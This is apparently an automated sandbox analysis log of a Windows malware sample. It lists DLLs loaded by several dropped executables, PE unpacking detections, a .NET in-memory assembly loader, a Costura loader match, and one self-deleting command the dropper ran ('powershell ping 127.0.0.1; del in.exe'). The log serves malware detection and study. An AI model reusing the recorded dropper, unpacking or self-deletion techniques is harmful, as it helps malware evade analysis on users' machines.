Source: C:\Users\user\AppData\Local\Temp\1017351001\e56fffc2ce.exe	Section loaded: srvcli.dll
Source: C:\Users\user\AppData\Local\Temp\1017351001\e56fffc2ce.exe	Section loaded: netutils.dll
Source: C:\Users\user\AppData\Local\Temp\1017351001\e56fffc2ce.exe	Section loaded: windows.staterepositoryps.dll
Source: C:\Users\user\AppData\Local\Temp\1017351001\e56fffc2ce.exe	Section loaded: wintypes.dll
Source: C:\Users\user\AppData\Local\Temp\1017351001\e56fffc2ce.exe	Section loaded: appresolver.dll
Source: C:\Users\user\AppData\Local\Temp\1017351001\e56fffc2ce.exe	Section loaded: bcp47langs.dll
Source: C:\Users\user\AppData\Local\Temp\1017351001\e56fffc2ce.exe	Section loaded: slc.dll
Source: C:\Users\user\AppData\Local\Temp\1017351001\e56fffc2ce.exe	Section loaded: userenv.dll
Source: C:\Users\user\AppData\Local\Temp\1017351001\e56fffc2ce.exe	Section loaded: sppc.dll
Source: C:\Users\user\AppData\Local\Temp\1017351001\e56fffc2ce.exe	Section loaded: onecorecommonproxystub.dll
Source: C:\Users\user\AppData\Local\Temp\1017351001\e56fffc2ce.exe	Section loaded: onecoreuapcommonproxystub.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rsaenh.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptbase.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.storage.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wldp.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msasn1.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: userenv.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: profapi.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshext.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appxsip.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: opcservices.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sspicli.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: uxtheme.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: urlmon.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: iertutil.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: srvcli.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: netutils.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: propsys.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wininet.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: microsoft.management.infrastructure.native.unmanaged.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mi.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: miutils.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wmidcom.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dpapi.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wbemcomn.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rsaenh.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptbase.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.storage.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wldp.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msasn1.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: userenv.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: profapi.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshext.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appxsip.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: opcservices.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sspicli.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: uxtheme.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: urlmon.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: iertutil.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: srvcli.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: netutils.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: propsys.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wininet.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: microsoft.management.infrastructure.native.unmanaged.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mi.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: miutils.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wmidcom.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dpapi.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wbemcomn.dll
Source: C:\Users\user\AppData\Local\Temp\1017352001\ac68c6b737.exe	Section loaded: apphelp.dll
Source: C:\Users\user\AppData\Local\Temp\1017352001\ac68c6b737.exe	Section loaded: winmm.dll
Source: C:\Windows\SysWOW64\svchost.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\SysWOW64\svchost.exe	Section loaded: wbemcomn.dll
Source: C:\Windows\SysWOW64\svchost.exe	Section loaded: amsi.dll
Source: C:\Windows\SysWOW64\svchost.exe	Section loaded: userenv.dll
Source: C:\Windows\SysWOW64\svchost.exe	Section loaded: profapi.dll
Source: C:\Windows\SysWOW64\svchost.exe	Section loaded: version.dll
Source: C:\Windows\SysWOW64\svchost.exe	Section loaded: uxtheme.dll
Source: C:\Windows\SysWOW64\svchost.exe	Section loaded: windows.storage.dll
Source: C:\Windows\SysWOW64\svchost.exe	Section loaded: wldp.dll
Source: C:\Windows\SysWOW64\svchost.exe	Section loaded: sspicli.dll
Source: C:\Windows\SysWOW64\svchost.exe	Section loaded: mpr.dll
Source: C:\Windows\SysWOW64\svchost.exe	Section loaded: powrprof.dll
Source: C:\Windows\SysWOW64\svchost.exe	Section loaded: umpdc.dll
Source: C:\Windows\SysWOW64\svchost.exe	Section loaded: devobj.dll
Source: C:\Windows\SysWOW64\svchost.exe	Section loaded: msasn1.dll
Source: C:\Windows\SysWOW64\svchost.exe	Section loaded: wbemcomn.dll
Source: C:\Windows\SysWOW64\svchost.exe	Section loaded: wbemcomn.dll
Source: C:\Windows\SysWOW64\svchost.exe	Section loaded: wbemcomn.dll
Source: C:\Windows\SysWOW64\svchost.exe	Section loaded: wbemcomn.dll
Source: C:\Users\user\AppData\Local\Temp\1017353001\54326d271c.exe	Section loaded: apphelp.dll
Source: C:\Users\user\AppData\Local\Temp\1017353001\54326d271c.exe	Section loaded: uxtheme.dll
Source: C:\Users\user\AppData\Local\Temp\1017353001\54326d271c.exe	Section loaded: windows.storage.dll
Source: C:\Users\user\AppData\Local\Temp\1017353001\54326d271c.exe	Section loaded: wldp.dll
Source: C:\Users\user\AppData\Local\Temp\1017353001\54326d271c.exe	Section loaded: profapi.dll
Source: C:\Users\user\AppData\Local\Temp\1017353001\54326d271c.exe	Section loaded: kernel.appcore.dll
Source: C:\Users\user\AppData\Local\Temp\1017353001\54326d271c.exe	Section loaded: propsys.dll
Source: C:\Users\user\AppData\Local\Temp\1017353001\54326d271c.exe	Section loaded: edputil.dll
Source: C:\Users\user\AppData\Local\Temp\1017353001\54326d271c.exe	Section loaded: urlmon.dll
Source: C:\Users\user\AppData\Local\Temp\1017353001\54326d271c.exe	Section loaded: iertutil.dll
Source: C:\Users\user\AppData\Local\Temp\1017353001\54326d271c.exe	Section loaded: srvcli.dll
Source: C:\Users\user\AppData\Local\Temp\1017353001\54326d271c.exe	Section loaded: netutils.dll
Source: C:\Users\user\AppData\Local\Temp\1017353001\54326d271c.exe	Section loaded: windows.staterepositoryps.dll
Source: C:\Users\user\AppData\Local\Temp\1017353001\54326d271c.exe	Section loaded: sspicli.dll
Source: C:\Users\user\AppData\Local\Temp\1017353001\54326d271c.exe	Section loaded: wintypes.dll
Source: C:\Users\user\AppData\Local\Temp\1017353001\54326d271c.exe	Section loaded: appresolver.dll
Source: C:\Users\user\AppData\Local\Temp\1017353001\54326d271c.exe	Section loaded: bcp47langs.dll
Source: C:\Users\user\AppData\Local\Temp\1017353001\54326d271c.exe	Section loaded: slc.dll
Source: C:\Users\user\AppData\Local\Temp\1017353001\54326d271c.exe	Section loaded: userenv.dll
Source: C:\Users\user\AppData\Local\Temp\1017353001\54326d271c.exe	Section loaded: sppc.dll
Source: C:\Users\user\AppData\Local\Temp\1017353001\54326d271c.exe	Section loaded: onecorecommonproxystub.dll
Source: C:\Users\user\AppData\Local\Temp\1017353001\54326d271c.exe	Section loaded: onecoreuapcommonproxystub.dll
Source: C:\unrlkpjy\1be411a3d2ff4d5e9f89420f2740d28f.exe	Section loaded: apphelp.dll
Source: C:\unrlkpjy\1be411a3d2ff4d5e9f89420f2740d28f.exe	Section loaded: version.dll
Source: C:\unrlkpjy\1be411a3d2ff4d5e9f89420f2740d28f.exe	Section loaded: shfolder.dll
Source: C:\unrlkpjy\1be411a3d2ff4d5e9f89420f2740d28f.exe	Section loaded: uxtheme.dll
Source: C:\unrlkpjy\1be411a3d2ff4d5e9f89420f2740d28f.exe	Section loaded: windows.storage.dll
Source: C:\unrlkpjy\1be411a3d2ff4d5e9f89420f2740d28f.exe	Section loaded: wldp.dll
Source: C:\unrlkpjy\1be411a3d2ff4d5e9f89420f2740d28f.exe	Section loaded: profapi.dll
Source: C:\unrlkpjy\1be411a3d2ff4d5e9f89420f2740d28f.exe	Section loaded: sspicli.dll
Source: C:\unrlkpjy\1be411a3d2ff4d5e9f89420f2740d28f.exe	Section loaded: winhttp.dll
Source: C:\unrlkpjy\1be411a3d2ff4d5e9f89420f2740d28f.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\unrlkpjy\1be411a3d2ff4d5e9f89420f2740d28f.exe	Section loaded: webio.dll
Source: C:\unrlkpjy\1be411a3d2ff4d5e9f89420f2740d28f.exe	Section loaded: mswsock.dll
Source: C:\unrlkpjy\1be411a3d2ff4d5e9f89420f2740d28f.exe	Section loaded: iphlpapi.dll
Source: C:\unrlkpjy\1be411a3d2ff4d5e9f89420f2740d28f.exe	Section loaded: winnsi.dll
Source: C:\unrlkpjy\1be411a3d2ff4d5e9f89420f2740d28f.exe	Section loaded: dnsapi.dll
Source: C:\unrlkpjy\1be411a3d2ff4d5e9f89420f2740d28f.exe	Section loaded: rasadhlp.dll
Source: C:\unrlkpjy\1be411a3d2ff4d5e9f89420f2740d28f.exe	Section loaded: fwpuclnt.dll
Source: C:\unrlkpjy\1be411a3d2ff4d5e9f89420f2740d28f.exe	Section loaded: schannel.dll
Source: C:\unrlkpjy\1be411a3d2ff4d5e9f89420f2740d28f.exe	Section loaded: mskeyprotect.dll
Source: C:\unrlkpjy\1be411a3d2ff4d5e9f89420f2740d28f.exe	Section loaded: ntasn1.dll
Source: C:\unrlkpjy\1be411a3d2ff4d5e9f89420f2740d28f.exe	Section loaded: ncrypt.dll
Source: C:\unrlkpjy\1be411a3d2ff4d5e9f89420f2740d28f.exe	Section loaded: ncryptsslp.dll
Source: C:\unrlkpjy\1be411a3d2ff4d5e9f89420f2740d28f.exe	Section loaded: msasn1.dll
Source: C:\unrlkpjy\1be411a3d2ff4d5e9f89420f2740d28f.exe	Section loaded: cryptsp.dll
Source: C:\unrlkpjy\1be411a3d2ff4d5e9f89420f2740d28f.exe	Section loaded: rsaenh.dll
Source: C:\unrlkpjy\1be411a3d2ff4d5e9f89420f2740d28f.exe	Section loaded: cryptbase.dll
Source: C:\unrlkpjy\1be411a3d2ff4d5e9f89420f2740d28f.exe	Section loaded: gpapi.dll
Source: C:\unrlkpjy\1be411a3d2ff4d5e9f89420f2740d28f.exe	Section loaded: dpapi.dll
Source: C:\unrlkpjy\1be411a3d2ff4d5e9f89420f2740d28f.exe	Section loaded: kernel.appcore.dll
Source: C:\unrlkpjy\1be411a3d2ff4d5e9f89420f2740d28f.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\unrlkpjy\1be411a3d2ff4d5e9f89420f2740d28f.exe	Section loaded: wbemcomn.dll
Source: C:\unrlkpjy\1be411a3d2ff4d5e9f89420f2740d28f.exe	Section loaded: amsi.dll
Source: C:\unrlkpjy\1be411a3d2ff4d5e9f89420f2740d28f.exe	Section loaded: userenv.dll
Source: C:\unrlkpjy\1be411a3d2ff4d5e9f89420f2740d28f.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\unrlkpjy\1be411a3d2ff4d5e9f89420f2740d28f.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Windows\System32\cmd.exe	Section loaded: cmdext.dll
Source: C:\Windows\System32\cmd.exe	Section loaded: apphelp.dll
Source: C:\Windows\System32\mode.com	Section loaded: ulib.dll
Source: C:\Windows\System32\mode.com	Section loaded: ureg.dll
Source: C:\Windows\System32\mode.com	Section loaded: fsutilext.dll
Source: C:\Users\user\AppData\Local\Temp\main\7z.exe	Section loaded: cryptbase.dll
Source: C:\Users\user\AppData\Local\Temp\main\7z.exe	Section loaded: cryptbase.dll
Source: C:\Users\user\AppData\Local\Temp\main\7z.exe	Section loaded: cryptbase.dll
Source: C:\Users\user\AppData\Local\Temp\main\7z.exe	Section loaded: cryptbase.dll
Source: C:\Users\user\AppData\Local\Temp\main\7z.exe	Section loaded: cryptbase.dll
Source: C:\Users\user\AppData\Local\Temp\main\7z.exe	Section loaded: cryptbase.dll
Source: C:\Users\user\AppData\Local\Temp\1017354001\641d24797a.exe	Section loaded: apphelp.dll
Source: C:\Users\user\AppData\Local\Temp\1017354001\641d24797a.exe	Section loaded: cryptsp.dll
Source: C:\Users\user\AppData\Local\Temp\main\7z.exe	Section loaded: cryptbase.dll
Source: C:\Users\user\AppData\Local\Temp\main\7z.exe	Section loaded: cryptbase.dll
Source: C:\Windows\System32\attrib.exe	Section loaded: ulib.dll
Source: C:\Windows\System32\attrib.exe	Section loaded: fsutilext.dll
Source: C:\Users\user\AppData\Local\Temp\main\in.exe	Section loaded: apphelp.dll
Source: C:\Users\user\AppData\Local\Temp\main\in.exe	Section loaded: windows.storage.dll
Source: C:\Users\user\AppData\Local\Temp\main\in.exe	Section loaded: wldp.dll
Source: C:\Users\user\AppData\Local\Temp\main\in.exe	Section loaded: ntmarta.dll
Source: C:\Windows\System32\attrib.exe	Section loaded: ulib.dll
Source: C:\Windows\System32\attrib.exe	Section loaded: fsutilext.dll
Source: C:\Windows\System32\attrib.exe	Section loaded: ulib.dll
Source: C:\Windows\System32\attrib.exe	Section loaded: fsutilext.dll
Source: C:\Windows\System32\schtasks.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\System32\schtasks.exe	Section loaded: taskschd.dll
Source: C:\Windows\System32\schtasks.exe	Section loaded: sspicli.dll
Source: C:\Windows\System32\schtasks.exe	Section loaded: xmllite.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rsaenh.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptbase.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: userenv.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: profapi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.storage.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wldp.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msasn1.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshext.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appxsip.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: opcservices.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sspicli.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: uxtheme.dll
Source: C:\Windows\System32\PING.EXE	Section loaded: iphlpapi.dll
Source: C:\Windows\System32\PING.EXE	Section loaded: winnsi.dll
Source: C:\Windows\System32\PING.EXE	Section loaded: mswsock.dll
Source: C:\Users\user\AppData\Local\Temp\1017354001\641d24797a.exe	Section loaded: windows.storage.dll
Source: C:\Users\user\AppData\Local\Temp\1017354001\641d24797a.exe	Section loaded: wldp.dll
Source: C:\Users\user\AppData\Local\Temp\1017354001\641d24797a.exe	Section loaded: winhttp.dll
Source: C:\Users\user\AppData\Local\Temp\1017354001\641d24797a.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1017354001\641d24797a.exe	Section loaded: webio.dll
Source: C:\Users\user\AppData\Local\Temp\1017354001\641d24797a.exe	Section loaded: mswsock.dll
Source: C:\Users\user\AppData\Local\Temp\1017354001\641d24797a.exe	Section loaded: iphlpapi.dll
Source: C:\Users\user\AppData\Local\Temp\1017354001\641d24797a.exe	Section loaded: winnsi.dll
Source: C:\Users\user\AppData\Local\Temp\1017354001\641d24797a.exe	Section loaded: sspicli.dll
Source: C:\Users\user\AppData\Local\Temp\1017354001\641d24797a.exe	Section loaded: dnsapi.dll
Source: C:\Users\user\AppData\Local\Temp\1017354001\641d24797a.exe	Section loaded: rasadhlp.dll
Source: C:\Users\user\AppData\Local\Temp\1017354001\641d24797a.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1017354001\641d24797a.exe	Section loaded: fwpuclnt.dll
Source: C:\Users\user\AppData\Local\Temp\1017354001\641d24797a.exe	Section loaded: schannel.dll

Source: C:\Users\user\Desktop\file.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{148BD52A-A2AB-11CE-B11F-00AA00530503}\InProcServer32

Jump to behavior

Source: Window Recorder

Window detected: More than 3 window changes detected

Source: C:\Users\user\AppData\Local\Temp\1017319001\zudFSfy.exe

File opened: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorrc.dll

Jump to behavior

Source: file.exe

Static file information: File size 2976768 > 1048576

Source: file.exe

Static PE information: Raw size of qnusxmvo is bigger than: 0x100000 < 0x2a5000

Source:	Binary string: wkernel32.pdb source: ac68c6b737.exe, 00000015.00000003.2740135407.00000000050E0000.00000004.00000001.00020000.00000000.sdmp, ac68c6b737.exe, 00000015.00000003.2740038871.0000000004FC0000.00000004.00000001.00020000.00000000.sdmp
Source:	Binary string: wkernelbase.pdb source: ac68c6b737.exe, 00000015.00000003.2740383178.0000000004FC0000.00000004.00000001.00020000.00000000.sdmp, ac68c6b737.exe, 00000015.00000003.2740579331.00000000051E0000.00000004.00000001.00020000.00000000.sdmp
Source:	Binary string: ntdll.pdb source: ac68c6b737.exe, 00000015.00000003.2739303628.00000000051B0000.00000004.00000001.00020000.00000000.sdmp, ac68c6b737.exe, 00000015.00000003.2739087484.0000000004FC0000.00000004.00000001.00020000.00000000.sdmp
Source:	Binary string: wntdll.pdbUGP source: ac68c6b737.exe, 00000015.00000003.2739796266.0000000005160000.00000004.00000001.00020000.00000000.sdmp, ac68c6b737.exe, 00000015.00000003.2739612321.0000000004FC0000.00000004.00000001.00020000.00000000.sdmp
Source:	Binary string: ntdll.pdbUGP source: ac68c6b737.exe, 00000015.00000003.2739303628.00000000051B0000.00000004.00000001.00020000.00000000.sdmp, ac68c6b737.exe, 00000015.00000003.2739087484.0000000004FC0000.00000004.00000001.00020000.00000000.sdmp
Source:	Binary string: wntdll.pdb source: ac68c6b737.exe, 00000015.00000003.2739796266.0000000005160000.00000004.00000001.00020000.00000000.sdmp, ac68c6b737.exe, 00000015.00000003.2739612321.0000000004FC0000.00000004.00000001.00020000.00000000.sdmp
Source:	Binary string: protobuf-net.pdbSHA256}Lq source: zudFSfy.exe, 00000009.00000002.2499731159.0000000005AF0000.00000004.08000000.00040000.00000000.sdmp, zudFSfy.exe, 00000009.00000002.2486574208.0000000003321000.00000004.00000800.00020000.00000000.sdmp, zudFSfy.exe, 00000009.00000002.2494620815.0000000004321000.00000004.00000800.00020000.00000000.sdmp, zudFSfy.exe, 00000009.00000002.2494620815.00000000043ED000.00000004.00000800.00020000.00000000.sdmp, kz8ZdyP.exe, 0000000D.00000002.2573081196.0000000002ABA000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: protobuf-net.pdb source: zudFSfy.exe, 00000009.00000002.2499731159.0000000005AF0000.00000004.08000000.00040000.00000000.sdmp, zudFSfy.exe, 00000009.00000002.2486574208.0000000003321000.00000004.00000800.00020000.00000000.sdmp, zudFSfy.exe, 00000009.00000002.2494620815.0000000004321000.00000004.00000800.00020000.00000000.sdmp, zudFSfy.exe, 00000009.00000002.2494620815.00000000043ED000.00000004.00000800.00020000.00000000.sdmp, kz8ZdyP.exe, 0000000D.00000002.2573081196.0000000002ABA000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: wkernel32.pdbUGP source: ac68c6b737.exe, 00000015.00000003.2740135407.00000000050E0000.00000004.00000001.00020000.00000000.sdmp, ac68c6b737.exe, 00000015.00000003.2740038871.0000000004FC0000.00000004.00000001.00020000.00000000.sdmp
Source:	Binary string: wkernelbase.pdbUGP source: ac68c6b737.exe, 00000015.00000003.2740383178.0000000004FC0000.00000004.00000001.00020000.00000000.sdmp, ac68c6b737.exe, 00000015.00000003.2740579331.00000000051E0000.00000004.00000001.00020000.00000000.sdmp
Source:	Binary string: C:\Users\danie\source\repos\NewText\NewText\obj\Debug\NewText.pdb source: skotes.exe, 00000006.00000002.2970891358.000000000079A000.00000004.00000020.00020000.00000000.sdmp, e56fffc2ce.exe, 0000000E.00000000.2625265677.00000000008B2000.00000002.00000001.01000000.00000012.sdmp

Data Obfuscation

Detected unpacking (changes PE section rights)

Source: C:\Users\user\Desktop\file.exe	Unpacked PE file: 0.2.file.exe.7e0000.0.unpack :EW;.rsrc:W;.idata :W;qnusxmvo:EW;fqlahttk:EW;.taggant:EW; vs :ER;.rsrc:W;.idata :W;qnusxmvo:EW;fqlahttk:EW;.taggant:EW;
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Unpacked PE file: 1.2.skotes.exe.b70000.0.unpack :EW;.rsrc:W;.idata :W;qnusxmvo:EW;fqlahttk:EW;.taggant:EW; vs :ER;.rsrc:W;.idata :W;qnusxmvo:EW;fqlahttk:EW;.taggant:EW;
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Unpacked PE file: 2.2.skotes.exe.b70000.0.unpack :EW;.rsrc:W;.idata :W;qnusxmvo:EW;fqlahttk:EW;.taggant:EW; vs :ER;.rsrc:W;.idata :W;qnusxmvo:EW;fqlahttk:EW;.taggant:EW;
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Unpacked PE file: 6.2.skotes.exe.b70000.1.unpack :EW;.rsrc:W;.idata :W;qnusxmvo:EW;fqlahttk:EW;.taggant:EW; vs :ER;.rsrc:W;.idata :W;qnusxmvo:EW;fqlahttk:EW;.taggant:EW;
Source: C:\Users\user\AppData\Local\Temp\1017352001\ac68c6b737.exe	Unpacked PE file: 21.2.ac68c6b737.exe.110000.0.unpack :EW;.rsrc:W;.idata :W; :EW;alcvhdaz:EW;vjrkdbwz:EW;.taggant:EW; vs :ER;.rsrc:W;.idata :W; :EW;alcvhdaz:EW;vjrkdbwz:EW;.taggant:EW;
Source: C:\unrlkpjy\1be411a3d2ff4d5e9f89420f2740d28f.exe	Unpacked PE file: 27.2.1be411a3d2ff4d5e9f89420f2740d28f.exe.e0000.0.unpack Unknown_Section0:EW;Unknown_Section1:EW;Unknown_Section2:EW;Unknown_Section3:EW;Unknown_Section4:EW;.data:EW; vs Unknown_Section0:ER;Unknown_Section1:R;Unknown_Section2:W;Unknown_Section3:R;Unknown_Section4:EW;.data:EW;

.NET source code contains potential unpacker

Source: 7.2.zudFSfy.exe.ec60000.4.raw.unpack, p70yJbu5bF4vKhUO1a.cs

.Net Code: b0a6Vp3JoK System.Reflection.Assembly.Load(byte[])

Suspicious powershell command line found

Source: C:\Users\user\AppData\Local\Temp\main\in.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell ping 127.0.0.1; del in.exe
Source: C:\Users\user\AppData\Local\Temp\main\in.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell ping 127.0.0.1; del in.exe

Yara detected Costura Assembly Loader

Source: Yara match	File source: 9.2.zudFSfy.exe.5a90000.7.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 9.2.zudFSfy.exe.434d790.5.raw.unpack, type: UNPACKEDPE
